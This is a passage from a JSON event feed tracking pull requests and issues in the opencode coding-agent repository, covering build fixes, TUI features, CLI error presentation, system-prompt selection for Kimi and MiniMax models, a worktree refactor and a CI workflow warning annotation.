            "automated-pr-cleanup"
          ],
          "author": "giggling-ginger",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:25de5bdf13f106ae1860",
        "signalId": "github:anomalyco/opencode:pull_request:36528",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36528",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): define OPENCODE_VERSION in the node server build",
          "text": "### Issue for this PR Closes #30197 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The node server bundle that the desktop app ships as its sidecar is built by `script/build-node.ts`, which defines `OPENCODE_CHANNEL` but not `OPENCODE_VERSION` (the CLI build in `script/build.ts` defines both). At runtime that global doesn't exist, so `InstallationVersion` falls back to `\"local\"` while `InstallationLocal` stays false — and config startup pins the plugin dependency install to `@opencode-ai/plugin@local`, a version that doesn't exist on npm. Every desktop install hits this on every session; #30908 and likely #31708 are the same failure. It also means anything reading `InstallationVersion` in the sidecar reports `local` — session records, telemetry serviceVersion, User-Agent. One line: add the same `OPENCODE_VERSION` define the CLI build already uses. ### How did you verify your code works? Built the bundle before and after with `OPENCODE_VERSION=1.17.18 OPENCODE_CHANNEL=latest`. Before: the bundle still contains the `typeof OPENCODE_VERSION === \"string\" ? OPENCODE_VERSION : \"local\"` fallback (channel is inlined, version is not). After: `InstallationVersion = \"1.17.18\"` is inlined and the fallback is gone, so the dependency install resolves `@opencode-ai/plugin@1.17.18`, which exists on the registry. The `@local` spec in the reported logs matches this exact path — I hit it on my own machine (see #35986 debugging) where the failed install caused the plugin to resolve to workspace TS sources under node. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36528",
          "createdAt": "2026-07-12T15:10:44Z",
          "updatedAt": "2026-08-12T22:16:28Z",
          "timestamp": "2026-08-12T22:16:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "H3XDaemon",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a40c29b0cf34135bf029",
        "signalId": "github:anomalyco/opencode:pull_request:36526",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36526",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): add interactive session search",
          "text": "### Issue for this PR Closes #4714 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds interactive incremental search over the current session transcript — readline/less-style rather than a modal prompt. Press `ctrl+r` and a search bar attaches to the top of the prompt input: ``` │ …transcript scrolls live to the nearest match as you type… │ │ │ ┃ markdown_hash 3/17 ↵ keep · esc back ← search bar ┃ > prompt input (untouched) ← prompt ``` **Behavior** - Typing live-jumps the viewport to the nearest match at-or-above your position (reverse-i-search semantics); refining the query stays on the current match when it still matches - `ctrl+r`/`up` = older match, `ctrl+s`/`down` = newer, wraparound with a `3/17` counter; bar turns red on zero matches - `esc`/`ctrl+c` cancels and restores the exact scroll position (sticky-bottom aware); `enter` accepts and keeps position; `ctrl+r` on an empty bar recalls the last query - Smartcase (any uppercase in the query = case-sensitive), literal matching, unicode-safe offsets - Matches are occurrence-level (a term appearing 5x in one long reply is 5 distinct stops) with soft-wrap-aware row estimation so matches center on screen - Also available as `/search`, `/find`, and command palette entries; search state resets on session switch **In-place highlighting (including inside markdown)** Markdown prose and code blocks render through `CodeRenderable`, so this uses its public `onHighlight` hook to append match spans to the tree-sitter highlights — no opentui changes needed. Non-active matches render in a neutral tone, the active match in `warning` (bold), via two new syntax scopes (`search.match`, `search.match.active`). User messages get the same treatment with text spans. Highlighting only engages when total hits <= 200 so broad one-letter queries don't re-highlight every part per keystroke. **Keybind note (deliberate, happy to change)** `messages_search` defaults to `ctrl+r`, and `session_rename` moves to `none` (still available in the command palette and remappable). Rationale: reverse-search muscle memory is strong, and rename felt like a lower-frequency action to hold a prime binding. If you'd rather keep rename on `ctrl+r`, I can default search to `<leader>/` or anything else — one-line change. Related prior art: #34297 takes a dialog-based approach with message-level granularity; this PR went inline/incremental after reading the feedback in #4714 about UI placement. ### How did you verify your code works? - `bun test` from `packages/tui` (25 new unit tests over the pure search core: unit collection mirroring rendered content, occurrence offsets/lines, smartcase, regex-literal escaping, astral unicode offsets, wraparound, viewport-relative initial-match selection, highlight tuples, soft-wrap row estimation) — 217 pass - `bun typecheck` from `packages/tui` — clean - Extensive manual TUI testing in a real terminal: open, live jump, cycle+wrap, esc restore, ctrl+c close, empty-bar recall, 0/0 state, smartcase, in-markdown highlight rendering (prose + code blocks), active-match cycling, streaming sessions, session switching, light/dark theme input visibility ### Screenshots / recordings Happy to attach a recording if useful. <img width=\"1290\" height=\"717\" alt=\"opencode-isearch\" src=\"https://github.com/user-attachments/assets/8a5f9526-147a-4388-b024-c480762fdbc9\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36526",
          "createdAt": "2026-07-12T14:35:15Z",
          "updatedAt": "2026-08-12T22:16:06Z",
          "timestamp": "2026-08-12T22:16:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "albertdbio",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b8c448946c4b22574611",
        "signalId": "github:anomalyco/opencode:pull_request:36497",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36497",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(web): pagefind.js missing on docs site",
          "text": "### Issue for this PR https://github.com/anomalyco/opencode/issues/36388 https://github.com/anomalyco/opencode/issues/17343 https://github.com/anomalyco/opencode/issues/26157#issuecomment-4402999957 Closes #36388 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Add routes.extend.exclude to the Cloudflare adapter configuration to explicitly exclude pagefind assets from Worker routing: ```patch adapter: cloudflare({ imageService: \"passthrough\", + routes: { + extend: { + exclude: [{ pattern: \"/docs/pagefind/*\" }], + }, + }, }), ``` After fix the generated ` _routes.json` exclude list now includes pagefind: ```json { \"include\": [\"/*\"], \"exclude\": [\"/docs\", \"/docs/_astro/*\", ..., \"/docs/pagefind/*\"] } ``` ### How did you verify your code works? I deployed a fixed version on CF, docs searching works fine, maybe more test needed. [doc site for testing ](https://opencode-docs-test.pages.dev/docs/fr/) ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36497",
          "createdAt": "2026-07-12T04:55:07Z",
          "updatedAt": "2026-08-12T22:15:43Z",
          "timestamp": "2026-08-12T22:15:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "ShiftWatchOut",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8e9b0b99428dadb5f0c2",
        "signalId": "github:anomalyco/opencode:pull_request:36488",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36488",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session-ui): escape direction:rtl bidi issue in message-part-directory via LRE/PDF wraps",
          "text": "### Issue for this PR Closes #36489 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? PR #9591 fixed a text rendering bug where `direction: rtl` + `text-overflow: ellipsis` on paths starting with a leading dot (e.g. `.config/opencode/`) causes the dot to be misplaced by the Unicode bidirectional algorithm. The fix wrapped directory text in LRE (`\\u202A`) / PDF (`\\u202C`) in `session-review.tsx` and `session-turn.tsx`. This PR applies the same fix to the 3 `message-part-directory` sites in `message-part.tsx` that were missed in that change: - edit-trigger (line 2162) - write-trigger (line 2229) - patch tool (line 2411) ### How did you verify your code works? Verified by inspecting the rendered DOM in the opencode UI with `.config/opencode/` paths. ### Screenshots / recordings | Before | Fixed | |--------|--------| | ![config/opencode./](https://github.com/user-attachments/assets/a61693b5-7246-4d88-be16-27ba4eccf6a6) | ![.config/opencode/](https://github.com/user-attachments/assets/fa491a2f-34ef-4fae-ad58-dd19eb213b57) | ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36488",
          "createdAt": "2026-07-12T03:29:30Z",
          "updatedAt": "2026-08-12T22:15:20Z",
          "timestamp": "2026-08-12T22:15:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "windlandneko",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:036218df07a567489035",
        "signalId": "github:anomalyco/opencode:issue:42132",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42132",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "OpenCode Go",
          "text": "I puchrased the subscription yet the chat still says limit exeeded buy Go. Also when trying to use Deepseek for Go it says its only available in china, it was my mane engine.",
          "url": "https://github.com/anomalyco/opencode/issues/42132",
          "createdAt": "2026-08-12T19:44:57Z",
          "updatedAt": "2026-08-12T22:15:17Z",
          "timestamp": "2026-08-12T22:15:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "6zorn9",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:124256efdd338915d6dd",
        "signalId": "github:anomalyco/opencode:pull_request:36478",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36478",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): preserve server startup failure cause",
          "text": "## What When the managed background service exits before registering, the CLI now explains what happened and what to do next instead of dumping a raw Effect error and bundled stack frames. **1. The background service does not register** OpenCode starts its normal managed-service flow, but the child exits before creating its registration. ```text Starting background server... ``` **2. OpenCode presents the failure** The product output stays concise and uses the shipped CLI name for its recovery commands. ```text OpenCode could not start its background service The service exited or never became ready. The expected registration file was not created. Try: opencode2 service restart OPENCODE_LOG_LEVEL=DEBUG opencode2 ``` The default terminal no longer exposes `/$bunfs/root` paths or Effect frames. The complete typed cause remains in OpenCode's normal file log for debug diagnosis. ## How - `packages/client/src/effect/service.ts` returns a typed `Service.StartError` with `spawn`, `registration`, or `readiness` stage information and preserves the original cause. Spawn completion now observes the child process's `spawn`/`error` events, so command launch failures are classified directly. - `packages/cli/src/framework/startup-error.ts` handles only `Service.StartError` at the CLI's top-level Effect boundary. It writes the user-facing presentation, records the full Effect cause through the existing observability layer, and leaves unrelated failures on the existing renderer. - The recovery command comes from `Commands.name`, which is injected as `opencode2` in the compiled V2 binary and remains `opencode` for source runs. - `packages/cli/test/service.test.ts` covers a real child that exits before registration and a nonexistent spawn command. It asserts the exact rendered registration output and the retained nested cause. ## Scope This PR changes managed background-service startup failure classification and CLI presentation only. It does not change compatibility detection, service election, retry duration, or service-status behavior tracked by #36274. Fixes #35158 ## Testing - `bun run test` from `packages/cli`: 27 passed, 0 failed across 7 files. - `bun run test test/effect.test.ts test/contract-identity.test.ts test/import-boundaries.test.ts` from `packages/client`: 9 passed, 0 failed. - `bun typecheck` from `packages/cli`: passed. - `bun typecheck` from `packages/client`: passed. - `bunx prettier --check src/index.ts src/framework/startup-error.ts test/service.test.ts ../client/src/effect/service.ts` from `packages/cli`: passed. - `bun run build --single --skip-install` from `packages/cli`: built the native `opencode2` V2 binary. - Real-service terminal capture at `120x40`: the compiled child exited before registration; default output contained no stack frames, while `opencode.log` retained `ServiceStartError -> PlatformError -> ENOENT`. - Push hook `bun turbo typecheck --concurrency=3`: 31 tasks passed. ## Demo Both screenshots use compiled V2 binaries, the same real managed-service failure, and identical `120x40` terminal dimensions. **Before (`9ff7df07d6`)** The CLI emits the generic raw failure, internal paths, and the complete Effect stack. ![Before: raw startup failure and Effect stack](https://github.com/user-attachments/assets/19fe1f67-c057-4429-8a33-0fac95f1d0ae) **After (`3b03692aef`)** The CLI emits the actual user-facing startup failure presentation. ![After: actionable background service startup failure](https://github.com/user-attachments/assets/90d453b5-7721-49c5-8d50-73fef7815efa)",
          "url": "https://github.com/anomalyco/opencode/pull/36478",
          "createdAt": "2026-07-12T01:31:37Z",
          "updatedAt": "2026-08-12T22:14:57Z",
          "timestamp": "2026-08-12T22:14:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor",
            "automated-pr-cleanup"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:04cca4ca8761bfa49856",
        "signalId": "github:anomalyco/opencode:pull_request:36471",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36471",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): paste clipboard on right click",
          "text": "### Issue for this PR Closes #36456 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Makes right-click dispatch the existing `prompt.paste` command when mouse capture is enabled and the prompt is focused. This supports clipboard text and images while preserving the experimental right-click copy behavior. Unlike #32064, which is limited to Windows-specific terminal behavior, this fixes the default captured-mouse path reported on Linux and avoids pasting behind dialogs by requiring prompt focus. ### How did you verify your code works? - `bun typecheck` from `packages/tui` - `bun test test/app-lifecycle.test.tsx test/index.test.tsx` (3 passed) ### Screenshots / recordings Not included. Clipboard insertion is an input interaction without a stable visual before/after state. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36471",
          "createdAt": "2026-07-12T01:05:49Z",
          "updatedAt": "2026-08-12T22:14:34Z",
          "timestamp": "2026-08-12T22:14:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "aditya-vithaldas",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4d28db57f5a9380de54a",
        "signalId": "github:anomalyco/opencode:pull_request:36469",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36469",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): respect sidebar width threshold",
          "text": "### Issue for this PR Closes #36417 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Removes the temporary `sidebarOpen` override from the TUI session view. Sidebar visibility is now controlled by the persisted `auto` or `hide` setting and the existing terminal-width check, so enabling it cannot force the sidebar over content in a narrow terminal. ### How did you verify your code works? - `bun typecheck` from `packages/tui` - `bun test test/index.test.tsx` ### Screenshots / recordings Not included. The change restores the existing narrow-terminal hidden state and does not introduce new UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36469",
          "createdAt": "2026-07-11T23:39:37Z",
          "updatedAt": "2026-08-12T22:14:12Z",
          "timestamp": "2026-08-12T22:14:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "aditya-vithaldas",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6e5b91c8a9257c9e5f23",
        "signalId": "github:anomalyco/opencode:pull_request:36468",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:36468",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): preserve valid empty JSON config",
          "text": "### Issue for this PR Closes #36374 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Avoids adding a dangling comma when `$schema` is inserted into an empty config object. The comma is now included only when the parsed config already has keys, so `{}` remains valid strict JSON after being rewritten. ### How did you verify your code works? - `bun test test/config/config.test.ts` (97 passed) - `bun typecheck` from `packages/opencode` - Added a regression test that parses the rewritten file with `JSON.parse` ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/36468",
          "createdAt": "2026-07-11T23:33:44Z",
          "updatedAt": "2026-08-12T22:13:49Z",
          "timestamp": "2026-08-12T22:13:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "automated-pr-cleanup"
          ],
          "author": "aditya-vithaldas",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f15125aaf6c2056f8fe6",
        "signalId": "github:anomalyco/opencode:pull_request:42156",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42156",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): select Kimi prompt by provider",
          "text": "## Summary - pass the provider ID into system-prompt selection - select the Kimi prompt for models served by Kimi providers even when the model ID is bare, such as `k3` - cover provider-based Kimi prompt selection with a regression test ## Checks - `bun test test/plugin/system-prompt.test.ts` (packages/core) - `bun typecheck` (packages/core) Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42156",
          "createdAt": "2026-08-12T21:59:49Z",
          "updatedAt": "2026-08-12T22:04:49Z",
          "timestamp": "2026-08-12T22:04:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8f5fa95a7935de39fa1c",
        "signalId": "github:anomalyco/opencode:issue:42157",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42157",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG]: close-prs workflow failures are silent in the run log — no ::warning:: annotation",
          "text": "## Description When the `close-prs` workflow (`.github/workflows/close-prs.yml`) runs `bun script/github/close-prs.ts` and the script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently. The error is buried in the full log with no visible `::warning::` annotation in the run summary. This makes diagnosing close-prs failures unnecessarily hard — the run shows \"failed\" but you have to download and read the full log to find the error. ## Plugins N/A ## OpenCode version N/A (this is a CI workflow issue, not a runtime bug) ## Steps to reproduce 1. Wait for the scheduled `close-prs` workflow to run (daily at 22:00 UTC) 2. If `script/github/close-prs.ts` exits non-zero (e.g., GraphQL token-scope error, unhandled exception) 3. The workflow step fails with no annotation in the run summary — only the raw exit code in the log ## Screenshot and/or share link N/A — this is a CI workflow observability issue, not a UI bug. ## Operating System GitHub Actions (ubuntu-latest) ## Terminal GitHub Actions runner ## Proposed fix Wrap the bun invocation so a non-zero exit code emits a `::warning::` annotation: ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated, so the workflow step still fails — but the failure reason is visible at a glance in the run summary. PR: #42151",
          "url": "https://github.com/anomalyco/opencode/issues/42157",
          "createdAt": "2026-08-12T22:00:34Z",
          "updatedAt": "2026-08-12T22:01:58Z",
          "timestamp": "2026-08-12T22:01:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "niStee",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:af0d74be6e103fa29e31",
        "signalId": "github:anomalyco/opencode:pull_request:42133",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42133",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat: adopt drive and TUI catalog",
          "text": "## What Adopts `opencode-drive` into the V2 monorepo and gives the captured TUI state browser a first-party internal home at `dev.opencode.ai/lab/catalog`. - `packages/drive`: the published Drive library and CLI, now consuming the workspace V2 client directly. - `packages/lab/catalog`: the terminal UI catalog with complete Opencode, Tokyo Night, and Everforest capture matrices. - `.github/workflows/deploy-lab-catalog.yml`: deploys the internal catalog when the V2 branch changes. ## How - Preserves the public `opencode-drive` package name and CLI while replacing its pinned next-channel client with `@opencode-ai/client: workspace:*`. - Adds `packages/lab/*` as the namespace for internal developer/design tools. - Builds catalog assets with `/lab/catalog/` as their public path and rewrites Worker requests to the static asset root, including SPA deep links. - Runs current-HEAD captures directly against the monorepo working tree; explicit historical revisions still use prepared worktrees. - Retargets catalog feedback links and labels to `anomalyco/opencode`. - Keeps Drive at its published `1.4.3` baseline but marks the workspace package private until npm ownership, trusted publishing, and public Client dependency gates are complete. OpenCode product releases explicitly skip Drive version rewriting. ## Scope - Targets the `v2` branch because Drive consumes the V2 Effect client/service API. The `dev` branch currently exposes the legacy client surface. - Deploys only to `dev.opencode.ai/lab/catalog`; there is deliberately no `opencode.ai` production route and no redirect from `catalog.kitlangton.dev`. - Keeps the source repository/history intact for now. Archiving `anomalyco/opencode-drive` happens after this lands. ## Testing - `packages/drive`: `bun run lint`, `bun typecheck`, `bun run test` (263 tests) - `packages/lab/catalog`: removed dead UI/motion code, stale manual experiments/docs, and unused dependencies; fixed multi-revision theme ID collisions - `packages/lab/catalog`: `bun run lint`, `bun typecheck`, `bun run test` (31 tests), `bun run build` - `packages/lab/catalog`: `bunx wrangler deploy --dry-run` - Push hook: full monorepo `bun turbo typecheck --concurrency=3` (34 tasks) - Added Turbo test tasks so normal PR CI discovers Drive and catalog tests - Verified generated HTML uses `/lab/catalog/` asset URLs and Worker route tests cover app-shell and capture asset rewriting. ## Flow ```mermaid flowchart LR V2[OpenCode V2 workspace] --> Drive[packages/drive] Drive --> Capture[Catalog capture scenarios] Capture --> Frames[Three themed frame matrices] Frames --> Catalog[packages/lab/catalog] Catalog --> Worker[opencode-lab-catalog Worker] Worker --> URL[dev.opencode.ai/lab/catalog] ``` Closes #42126",
          "url": "https://github.com/anomalyco/opencode/pull/42133",
          "createdAt": "2026-08-12T19:51:29Z",
          "updatedAt": "2026-08-12T22:01:19Z",
          "timestamp": "2026-08-12T22:01:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e90df193874171dcebeb",
        "signalId": "github:anomalyco/opencode:pull_request:42149",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42149",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(core): replace project copies with worktrees",
          "text": "## Summary - replace the V2 ProjectCopy and ProjectDirectories domains with a global Worktree service - consolidate project roots and managed worktrees into a dedicated worktree table - expose global list, create, remove, and refresh operations through the generated Promise and Effect clients - migrate the current V2 TUI and SDK Next surfaces to Worktree terminology and contracts ## Architecture - keep Worktree service process-global and project-ID based - keep only the automatic refresh boot node Location-scoped - resolve create sources from any available persisted worktree, including another managed worktree - keep Git strategy construction in `worktree/git.ts` and shared canonical directory validation in `worktree/directory.ts` - preserve V2 project resolution, Mercurial support, Bus projection, and durable session adoption behavior ## Storage - add the `worktree` table for project roots and managed worktrees - copy every legacy `project_directory` row without deleting the old table - convert legacy `git_worktree` type and strategy values to the `git` strategy - retain the deprecated `ProjectDirectoryTable` definition for compatibility ## API - add global `GET`, `POST`, and `DELETE /api/experimental/project/:projectID/worktree` - add `POST /api/experimental/project/:projectID/worktree/refresh` - remove Location query requirements and the old project directories endpoint - generate `client.worktree.list/create/remove/refresh` for Promise and Effect clients ## Verification - Core typecheck and 77 focused project, session, worktree, schema-identity, and migration tests - Schema typecheck and public event-manifest tests - Protocol typecheck and generated OpenAPI check - Client typecheck and 22 Promise contract tests - Server typecheck and live Worktree HTTP integration test - CLI typecheck - TUI typecheck - SDK Next typecheck and contract identity tests - no changes under `packages/opencode`",
          "url": "https://github.com/anomalyco/opencode/pull/42149",
          "createdAt": "2026-08-12T21:29:26Z",
          "updatedAt": "2026-08-12T21:58:23Z",
          "timestamp": "2026-08-12T21:58:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "jlongster",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f685c6391ef296576816",
        "signalId": "github:anomalyco/opencode:issue:41031",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41031",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "MiniMax models fall through to the Claude-oriented default prompt",
          "text": "### Description `SystemPrompt.provider()` in `packages/opencode/src/session/system.ts` picks a system prompt by substring-matching the model id. There is a branch for Kimi (`kimi.txt`, the open-weight agentic prompt) but none for MiniMax, so every MiniMax model falls through to `PROMPT_DEFAULT` (`default.txt`), which is written for Claude. `default.txt` assumes a model that already acts without being told to. `kimi.txt` — which despite the filename has no Kimi/Moonshot-specific text — instead spells out the things open-weight agentic models tend to get wrong: that tools must be *used* rather than described (\"Code that only appears in your text response is NOT saved\"), that `<system-reminder>` tags are authoritative (e.g. plan-mode read-only restrictions), that parallel tool calls are encouraged, and that replies must match the user's language. Running MiniMax on `default.txt` is a poor fit for those reasons. Note `transform.ts` already treats `minimax` as part of the open-weight family (grouped with `kimi`, `deepseek`, `qwen`, `glm` around line 778), so prompt selection is out of step with a grouping the codebase already makes elsewhere. ### Steps to reproduce 1. Run a MiniMax model (e.g. `MiniMax/MiniMax-M3`). 2. Add a log/inspect `SystemPrompt.provider(model)[0]` — it returns `default.txt`, not `kimi.txt`. Concretely, MiniMax on `default.txt` is more prone to describing an edit in prose instead of calling the edit tool, and to ignoring plan-mode `<system-reminder>` restrictions. ### opencode version dev (reproduces at current `dev` tip; `provider()` has no minimax branch).",
          "url": "https://github.com/anomalyco/opencode/issues/41031",
          "createdAt": "2026-08-07T09:40:46Z",
          "updatedAt": "2026-08-12T21:58:10Z",
          "timestamp": "2026-08-12T21:58:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "quickbeard",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f3d9c589087a94122491",
        "signalId": "github:anomalyco/opencode:issue:42153",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42153",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "ci(close-prs): bun script failures are silent in the run log",
          "text": "## Problem When the `close-prs` workflow runs `bun script/github/close-prs.ts` and the script fails (GraphQL pagination error, token-scope error, unhandled exception), the workflow step fails silently — the error is buried in the full log with no visible annotation in the run summary. This makes diagnosing close-prs failures harder than necessary. The run shows \"failed\" but you have to download the full log to find the error. ## Proposed fix Wrap the bun invocation so a non-zero exit code emits a `::warning::` annotation: ```yaml bun script/github/close-prs.ts \"${args[@]}\" || { exit_code=$? echo \"::warning::close-prs.ts exited with code $exit_code — check logs for GraphQL/token-scope errors\" exit $exit_code } ``` The exit code is still propagated (`exit $exit_code`), so the workflow step still fails — but the failure reason is visible at a glance in the run summary via the `::warning::` annotation. ## Context - Workflow file: `.github/workflows/close-prs.yml` - Script: `script/github/close-prs.ts` - Observed on a fork (`niStee/opencode`) where the same workflow runs against this upstream repo via `--repo` argument",
          "url": "https://github.com/anomalyco/opencode/issues/42153",
          "createdAt": "2026-08-12T21:50:50Z",
          "updatedAt": "2026-08-12T21:56:15Z",
          "timestamp": "2026-08-12T21:56:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "niStee",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cd21facdd0af688a4552",
